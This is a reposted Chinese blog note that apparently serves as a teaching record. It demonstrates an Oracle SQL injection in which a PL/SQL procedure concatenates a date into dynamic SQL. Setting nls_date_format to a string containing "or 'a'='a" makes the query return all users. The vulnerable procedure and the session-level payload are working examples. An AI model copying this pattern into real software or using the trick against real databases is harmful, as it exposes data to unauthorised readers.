[20170912]sql injection例子.txt

[20170912]sql injection例子.txt

--//来之tom的例子,做一个记录.也许以后讲解需要!!

1.环境:
SCOTT@book> @ &r/ver1

PORT_STRING                    VERSION        BANNER
------------------------------ -------------- --------------------------------------------------------------------------------
x86_64/Linux 2.4.xx            11.2.0.4.0     Oracle Database 11g Enterprise Edition Release 11.2.0.4.0 - 64bit Production

create or replace procedure inj( p_date in date )
as
        l_rec   all_users%rowtype;
        c       sys_refcursor;
        l_query long;
begin
        l_query := '
        select *
          from all_users
         where created = ''' ||p_date ||'''';

        dbms_output.put_line( l_query );
        open c for l_query;

        for i in 1 .. 5
        loop
                fetch c into l_rec;
                exit when c%notfound;
                dbms_output.put_line( l_rec.username || '.....' );
        end loop;
        close c;
end;
/

SCOTT@book> show parameter nls_date_format
NAME             TYPE    VALUE
---------------- ------- ---------------------
nls_date_format  string  YYYY-MM-DD HH24:MI:SS

SCOTT@book> exec inj(sysdate)

        select *
          from all_users
         where created = '2017-09-12 08:47:16'
PL/SQL procedure successfully completed.
--//注意sql语句的输出.

2.修改环境变量定义:

SCOTT@book> alter session set nls_date_format = 'yyyy-mm-dd hh24:mi:ss"'' or ''a'' = ''a"';
Session altered.

SCOTT@book> exec inj(sysdate)

        select *
          from all_users
         where created = '2017-09-12 08:48:10' or 'a' = 'a'
TEST.....
WYL.....
BI.....
PM.....
SH.....

PL/SQL procedure successfully completed.

来自 “ ITPUB博客 ” ,链接:http://blog.itpub.net/267265/viewspace-2144828/,如需转载,请注明出处,否则将追究法律责任。

转载于:http://blog.itpub.net/267265/viewspace-2144828/

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值